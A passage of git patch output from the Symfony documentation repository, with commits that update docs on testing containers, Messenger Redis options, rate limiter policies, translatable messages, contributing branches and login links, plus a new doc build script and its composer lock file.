-                <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/>
-            </services>
-        </container>
+Symfony tests also have access to a special container that includes both the
+public services and the non-removed :ref:`private services <container-public>`
+services::
 
-    .. code-block:: php
+    public function testSomething()
+    {
+        // this call is needed; otherwise the container will be empty
+        self::bootKernel();
 
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        $container = self::$container;
+        // $someService = $container->get('the-service-ID');
 
-        use App\Service\MessageGenerator;
-        use App\Service\SiteUpdateManager;
+        // ...
+    }
 
-        return function(ContainerConfigurator $configurator) {
-            // ...
+Finally, for the most rare edge-cases, Symfony includes a special container
+which provides access to all services, public and private. This special
+container is a service that can be get via the normal container::
 
-            $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public();
-        };
+    public function testSomething()
+    {
+        $client = self::createClient();
+        $normalContainer = $client->getContainer();
+        $specialContainer = $normalContainer->get('test.service_container');
 
-.. tip::
+        // $somePrivateService = $specialContainer->get('the-service-ID');
 
-    The special container that gives access to private services exists only in
-    the ``test`` environment and is itself a service that you can get from the
-    real container using the ``test.service_container`` id.
+        // ...
+    }
 
 .. tip::
 

From 85b27e554a7e9b6a26e3358f51ca933eee90fec3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Oct 2020 13:46:16 +0200
Subject: [PATCH 0058/5766] [Messenger] Added Lazy option to redis

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7f74be71dd6..6c2f2e35794 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1167,6 +1167,10 @@ auto_setup           Create the Redis group automatically?  true
 auth                 The Redis password
 delete_after_ack     If ``true``, messages are deleted      false
                      automatically after processing them
+delete_after_reject  If ``true``, messages are deleted      true
+                     automatically if they are rejected
+lazy                 Connect only when a connection is      false
+                     really needed
 serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
                      in Redis (the
                      ``Redis::OPT_SERIALIZER`` option)
@@ -1207,7 +1211,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. versionadded:: 5.2
 
-    The ``delete_after_reject`` option was introduced in Symfony 5.2.
+    The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~

From 38da641b42976ddeef37903c4a0ddd64226f1bab Mon Sep 17 00:00:00 2001
From: Takashi Kanemoto <ttskch@gmail.com>
Date: Sat, 24 Oct 2020 18:50:56 +0900
Subject: [PATCH 0059/5766] Fix typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d028fc2e713..371b986496c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -757,7 +757,7 @@ their type::
     $form['photo']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
-    $form['my_form[field][O]']->upload('/path/to/lucas.jpg');
+    $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
     $form['my_form[field][1]']->upload('/path/to/lisa.jpg');
 
 .. tip::

From 87fe4cc0cc5ae0b0c30c254ba5ee38cc51e4f538 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 25 Oct 2020 07:58:38 +0100
Subject: [PATCH 0060/5766] Remove paragraph about .htaccess files

Htaccess files aren't in SF repository anymore (since sf4 and Flex, it's in the apache-pack optional recipe)
---
 setup/web_server_configuration.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 2fc2c74e648..e4fef9b3d99 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -374,13 +374,6 @@ The **minimum configuration** to get your application running under Nginx is:
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
 
-.. note::
-
-    By default, Symfony applications include several ``.htaccess`` files to
-    configure redirections and to prevent unauthorized access to some sensitive
-    directories. Those files are only useful when using Apache, so you can
-    safely remove them when using Nginx.
-
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
 .. _`Apache documentation`: https://httpd.apache.org/docs/

From 2fcc6fe060af8fcdb7d7010130e535e548a6d919 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:37:19 +0100
Subject: [PATCH 0061/5766] [RateLimit] Make sure we mention policy instead of
 limit

---
 rate_limiter.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 527357cc011..22a56168498 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,11 +16,11 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
-Rate Limiting Strategies
-------------------------
+Rate Limiting Policies
+----------------------
 
-Symfony's rate limiter implements some of the most common strategies to enforce
-rate limits: **fixed window**, **sliding window** and **token bucket**.
+Symfony's rate limiter implements some of the most common policies to enforce
+rate limits: **fixed window**, **sliding window**, **token bucket**.
 
 Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -86,12 +86,12 @@ enforce different levels of service (free or paid):
     framework:
         rate_limiter:
             anonymous_api:
-                # use 'sliding_window' if you prefer that strategy
-                strategy: 'fixed_window'
+                # use 'sliding_window' if you prefer that policy
+                policy: 'fixed_window'
                 limit: 100
                 interval: '60 minutes'
             authenticated_api:
-                strategy: 'token_bucket'
+                policy: 'token_bucket'
                 limit: 5000
                 rate: { interval: '15 minutes', amount: 500 }
 
@@ -124,13 +124,13 @@ the number of requests to the API::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "limiter" suffix
-        public function index(RateLimiter $anonymousApiLimiter)
+        public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -171,11 +171,11 @@ using the ``reserve()`` method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiter $authenticatedApiLimiter)
+        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter)
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -229,11 +229,11 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiter $anonymousApiLimiter)
+        public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From 3e0c21cc3eb8b8ed493b982a2c0c3cc77afb76aa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:39:18 +0100
Subject: [PATCH 0062/5766] Update wrong use statement

---
 translation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index cb774e70f7a..4c4b4b9a07b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -307,16 +307,16 @@ parts of your application and mocking it in your tests.
 
 Instead of translating a string at the time of creation, you can use a
 "translatable object", which is an instance of the
-:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores
+:class:`Symfony\\Component\\Translation\\TranslatableMessage` class. This object stores
 all the information needed to fully translate its contents when needed::
 
-    use Symfony\Component\Translation\Translatable;
+    use Symfony\Component\Translation\TranslatableMessage;
 
     // the first argument is required and it's the original message
-    $message = new Translatable('Symfony is great!');
+    $message = new TranslatableMessage('Symfony is great!');
     // the optional second argument defines the translation parameters and
     // the optional third argument is the translation domain
-    $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store');
+    $status = new TranslatableMessage('order.status', ['%status%' => $order->getStatus()], 'store');
 
 Templates are now much simpler because you can pass translatable objects to the
 ``trans`` filter:

From 08ded89b8f12598e8a65b694d2c208545cdd884a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sun, 25 Oct 2020 11:46:38 +0100
Subject: [PATCH 0063/5766] Change "-t" to "--track" to be more explicit

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1060e0d80a8..c0cd2259250 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -159,7 +159,7 @@ Or, if you want to provide a bug fix for the ``3.4`` branch, first track the rem
 
 .. code-block:: terminal
 
-    $ git checkout -t origin/3.4
+    $ git checkout --track origin/3.4
 
 Then create a new branch off the ``3.4`` branch to work on the bug fix:
 

From 42f4d233dc1269f94bce774879506fba76e30420 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sun, 25 Oct 2020 11:27:09 +0100
Subject: [PATCH 0064/5766] Change branch "master" to "5.x"

Not sure if this is correct but I'm sure that I cannot find "master" anymore.
---
 contributing/code/pull_requests.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index c0cd2259250..816130b1168 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``master``, if you are adding a new feature.
+* ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (4.0, 5.0, etc.) comes out every two years. Because of the
@@ -142,7 +142,7 @@ work:
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
     for the ``3.4`` branch, the PR will also be applied by the core team on
-    the ``master`` branch.
+    the ``5.x`` branch.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
@@ -152,7 +152,7 @@ topic branch:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME master
+    $ git checkout -b BRANCH_NAME 5.x
 
 Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
 ``3.4`` branch locally:
@@ -277,15 +277,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout master
+    $ git checkout 5.x
     $ git fetch upstream
-    $ git merge upstream/master
+    $ git merge upstream/5.x
     $ git checkout BRANCH_NAME
-    $ git rebase master
+    $ git rebase 5.x
 
 .. tip::
 
-    Replace ``master`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -402,12 +402,12 @@ Rework your Pull Request
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Based on the feedback on the pull request, you might need to rework your
-PR. Before re-submitting the PR, rebase with ``upstream/master`` or
+PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
 ``upstream/3.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/master
+    $ git rebase -f upstream/5.x
     $ git push --force origin BRANCH_NAME
 
 .. note::

From 464904fa2d95fca3f3759e9c61162d1d5d2579ef Mon Sep 17 00:00:00 2001
From: Francois CONTE <fconte@users.noreply.github.com>
Date: Sat, 24 Oct 2020 22:20:51 +0200
Subject: [PATCH 0065/5766] [Security] Update examples of Login Link

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 3db4f34f8eb..b92dd694178 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -253,7 +253,7 @@ number::
                     'Welcome to MY WEBSITE!' // email subject
                 );
                 // create a recipient for this user
-                $recipient = (new Recipient())->email($user->getEmail());
+                $recipient = new Recipient($user->getEmail());
 
                 // send the notification to the user
                 $notifier->send($notification, $recipient);
@@ -620,7 +620,7 @@ user create this POST request (e.g. by clicking a button)::
         /**
          * @Route("/login_check", name="login_check")
          */
-        public function check()
+        public function check(Request $request)
         {
             // get the login link query parameters
             $expires = $request->query->get('expires');

From 1776c69a192042c6999fafc629a88f3c5d646ad0 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Sun, 25 Oct 2020 23:53:32 +0100
Subject: [PATCH 0066/5766] [DependencyInjection] Fix markup of
 configuration-block

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 4a2b606c538..e62f75f7513 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -609,7 +609,7 @@ you can use the ``@required`` annotation instead.
 
 Despite property injection has some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
-typed properties::
+typed properties:
 
 .. configuration-block::
 

From 5094d7f5e59a75b48279925822d58e16d538cb7d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Oct 2020 11:50:23 +0100
Subject: [PATCH 0067/5766] Fixed table margin

---
 messenger.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3dce638cd70..e9253431bd4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1041,21 +1041,21 @@ under the transport in ``messenger.yaml``:
 ===================  =====================================  =================================
      Option               Description                       Default
 ===================  =====================================  =================================
-stream              The Redis stream name                  messages
-group               The Redis consumer group name          symfony
-consumer            Consumer name used in Redis            consumer
-auto_setup          Create the Redis group automatically?  true
-auth                The Redis password
-delete_after_ack    If ``true``, messages are deleted      false
-                    automatically after processing them
-serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                    in Redis (the
-                    ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries  The maximum number of entries which    ``0`` (which means "no trimming")
-                    the stream will be trimmed to. Set
-                    it to a large enough number to
-                    avoid losing pending messages
-tls                 Enable TLS support for the connection  false
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died

From 792968b78e2257368c6fb1dc3346d931a85c95fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 13:02:02 +0200
Subject: [PATCH 0068/5766] Add the new doc build system

---
 .gitignore           |    3 +
 _build/build.php     |   44 +
 _build/composer.json |   21 +
 _build/composer.lock | 2197 ++++++++++++++++++++++++++++++++++++++++++
 docs.json            |    3 +
 5 files changed, 2268 insertions(+)
 create mode 100755 _build/build.php
 create mode 100644 _build/composer.json
 create mode 100644 _build/composer.lock
 create mode 100644 docs.json

diff --git a/.gitignore b/.gitignore
index 6a20088680a..1d25940e5c8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,7 @@
 /_build/doctrees
 /_build/spelling
 /_build/html
+/_build/logs.txt
+/_build/vendor
+/_build/output
 *.pyc
diff --git a/_build/build.php b/_build/build.php
new file mode 100755
index 00000000000..5a2fd660bda
--- /dev/null
+++ b/_build/build.php
@@ -0,0 +1,44 @@
+#!/usr/bin/env php
+<?php
+require __DIR__.'/vendor/autoload.php';
+
+use Symfony\Component\Console\Application;
+use Symfony\Component\Console\Input\InputInterface;
+use Symfony\Component\Console\Output\OutputInterface;
+use Symfony\Component\Process\Process;
+use Symfony\Component\Process\Exception\ProcessFailedException;
+use Symfony\Component\Console\Input\InputOption;
+
+(new Application('Symfony Docs Builder', '1.0'))
+    ->register('build-docs')
+    ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
+    ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
+    ->setCode(function(InputInterface $input, OutputInterface $output) {
+        $command = [
+            'php',
+            'vendor/symfony/docs-builder/bin/console',
+            'build:docs',
+            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
+            __DIR__.'/../',
+            __DIR__.'/output/',
+        ];
+
+        if ($input->getOption('generate-fjson-files')) {
+            $command[] = '--output-json';
+        }
+
+        if ($input->getOption('disable-cache')) {
+            $command[] = '--disable-cache';
+        }
+
+        $process = new Process($command);
+        $process->setTimeout(3600);
+        $process->run();
+
+        if (!$process->isSuccessful()) {
+            throw new ProcessFailedException($process);
+        }
+    })
+    ->getApplication()
+    ->setDefaultCommand('build-docs', true)
+    ->run();
diff --git a/_build/composer.json b/_build/composer.json
new file mode 100644
index 00000000000..30de6365ecb
--- /dev/null
+++ b/_build/composer.json
@@ -0,0 +1,21 @@
+{
+    "minimum-stability": "dev",
+    "repositories": [
+        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
+    ],
+    "config": {
+        "platform": {
+            "php": "7.2.9"
+        },
+        "preferred-install": {
+            "*": "dist"
+        },
+        "sort-packages": true
+    },
+    "require": {
+        "php": ">=7.2.9",
+        "symfony/console": "^4.1",
+        "symfony/docs-builder": "dev-master",
+        "symfony/process": "9999999-dev"
+    }
+}
diff --git a/_build/composer.lock b/_build/composer.lock
new file mode 100644
index 00000000000..101c85b4165
--- /dev/null
+++ b/_build/composer.lock
@@ -0,0 +1,2197 @@
+{
+    "_readme": [
+        "This file locks the dependencies of your project to a known state",
+        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
+        "This file is @generated automatically"
+    ],
+    "content-hash": "6ee53de4a5225f7f273333a94e84fdd1",
+    "packages": [
+        {
+            "name": "doctrine/event-manager",
+            "version": "1.1.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/event-manager.git",
+                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "shasum": ""
+            },
+            "require": {
+                "php": "^7.1 || ^8.0"
+            },
+            "conflict": {
+                "doctrine/common": "<2.9@dev"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^6.0",
+                "phpunit/phpunit": "^7.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.0.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\Common\\": "lib/Doctrine/Common"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Guilherme Blanco",
+                    "email": "guilhermeblanco@gmail.com"
+                },
+                {
+                    "name": "Roman Borschel",
+                    "email": "roman@code-factory.org"
+                },
+                {
+                    "name": "Benjamin Eberlei",
+                    "email": "kontakt@beberlei.de"
+                },
+                {
+                    "name": "Jonathan Wage",
+                    "email": "jonwage@gmail.com"
+                },
+                {
+                    "name": "Johannes Schmitt",
+                    "email": "schmittjoh@gmail.com"
+                },
+                {
+                    "name": "Marco Pivetta",
+                    "email": "ocramius@gmail.com"
+                }
+            ],
+            "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.",
+            "homepage": "https://www.doctrine-project.org/projects/event-manager.html",
+            "keywords": [
+                "event",
+                "event dispatcher",
+                "event manager",
+                "event system",
+                "events"
+            ],
+            "support": {
+                "issues": "https://github.com/doctrine/event-manager/issues",
+                "source": "https://github.com/doctrine/event-manager/tree/1.1.x"
+            },
+            "funding": [
+                {
+                    "url": "https://www.doctrine-project.org/sponsorship.html",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://www.patreon.com/phpdoctrine",
+                    "type": "patreon"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fevent-manager",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-05T12:08:55+00:00"
+        },
+        {
+            "name": "doctrine/rst-parser",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/rst-parser.git",
+                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/event-manager": "^1.0",
+                "php": "^7.1",
+                "symfony/filesystem": "^4.1|^5.0",
+                "twig/twig": "^2.9.0"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^6.0",
+                "gajus/dindent": "^2.0.2",
+                "phpstan/phpstan": "^0.10",
+                "phpstan/phpstan-deprecation-rules": "^0.10",
+                "phpstan/phpstan-phpunit": "^0.10",
+                "phpstan/phpstan-strict-rules": "^0.10",
+                "phpunit/phpunit": "^7.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\RST\\": "lib/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Grégoire Passault",
+                    "email": "g.passault@gmail.com",
+                    "homepage": "http://www.gregwar.com/"
+                },
+                {
+                    "name": "Jonathan H. Wage",
+                    "email": "jonwage@gmail.com",
+                    "homepage": "https://jwage.com"
+                }
+            ],
+            "description": "PHP library to parse reStructuredText documents and generate HTML or LaTeX documents.",
+            "homepage": "https://github.com/doctrine/rst-parser",
+            "keywords": [
+                "html",
+                "latex",
+                "markup",
+                "parser",
+                "reStructuredText",
+                "rst"
+            ],
+            "support": {
+                "issues": "https://github.com/doctrine/rst-parser/issues",
+                "source": "https://github.com/doctrine/rst-parser/tree/master"
+            },
+            "time": "2020-10-23T00:13:24+00:00"
+        },
+        {
+            "name": "guzzlehttp/guzzle",
+            "version": "6.5.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/guzzle.git",
+                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "shasum": ""
+            },
+            "require": {
+                "ext-json": "*",
+                "guzzlehttp/promises": "^1.0",
+                "guzzlehttp/psr7": "^1.6.1",
+                "php": ">=5.5",
+                "symfony/polyfill-intl-idn": "^1.17.0"
+            },
+            "require-dev": {
+                "ext-curl": "*",
+                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
+                "psr/log": "^1.1"
+            },
+            "suggest": {
+                "psr/log": "Required for using the Log middleware"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "6.5-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\": "src/"
+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                }
+            ],
+            "description": "Guzzle is a PHP HTTP client library",
+            "homepage": "http://guzzlephp.org/",
+            "keywords": [
+                "client",
+                "curl",
+                "framework",
+                "http",
+                "http client",
+                "rest",
+                "web service"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/guzzle/issues",
+                "source": "https://github.com/guzzle/guzzle/tree/6.5"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/GrahamCampbell",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/Nyholm",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/alexeyshockov",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/gmponos",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/sagikazarmark",
+                    "type": "github"
+                }
+            ],
+            "time": "2020-07-02T06:52:04+00:00"
+        },
+        {
+            "name": "guzzlehttp/promises",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/promises.git",
+                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/promises/zipball/ddfeedfff2a52661429437da0702979f708e6ac6",
+                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.5"
+            },
+            "require-dev": {
+                "symfony/phpunit-bridge": "^4.4 || ^5.1"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.4-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\Promise\\": "src/"
+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                }
+            ],
+            "description": "Guzzle promises library",
+            "keywords": [
+                "promise"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/promises/issues",
+                "source": "https://github.com/guzzle/promises/tree/master"
+            },
+            "time": "2020-10-19T16:50:15+00:00"
+        },
+        {
+            "name": "guzzlehttp/psr7",
+            "version": "1.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/psr7.git",
+                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/psr7/zipball/25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.4.0",
+                "psr/http-message": "~1.0",
+                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
+            },
+            "provide": {
+                "psr/http-message-implementation": "1.0"
+            },
+            "require-dev": {
+                "ext-zlib": "*",
+                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
+            },
+            "suggest": {
+                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.7-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\Psr7\\": "src/"
+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                },
+                {
+                    "name": "Tobias Schultze",
+                    "homepage": "https://github.com/Tobion"
+                }
+            ],
+            "description": "PSR-7 message implementation that also provides common utility methods",
+            "keywords": [
+                "http",
+                "message",
+                "psr-7",
+                "request",
+                "response",
+                "stream",
+                "uri",
+                "url"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/psr7/issues",
+                "source": "https://github.com/guzzle/psr7/tree/1.x"
+            },
+            "time": "2020-10-22T07:42:05+00:00"
+        },
+        {
+            "name": "paragonie/random_compat",
+            "version": "v9.99.100",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/paragonie/random_compat.git",
+                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a",
+                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">= 7"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "4.*|5.*",
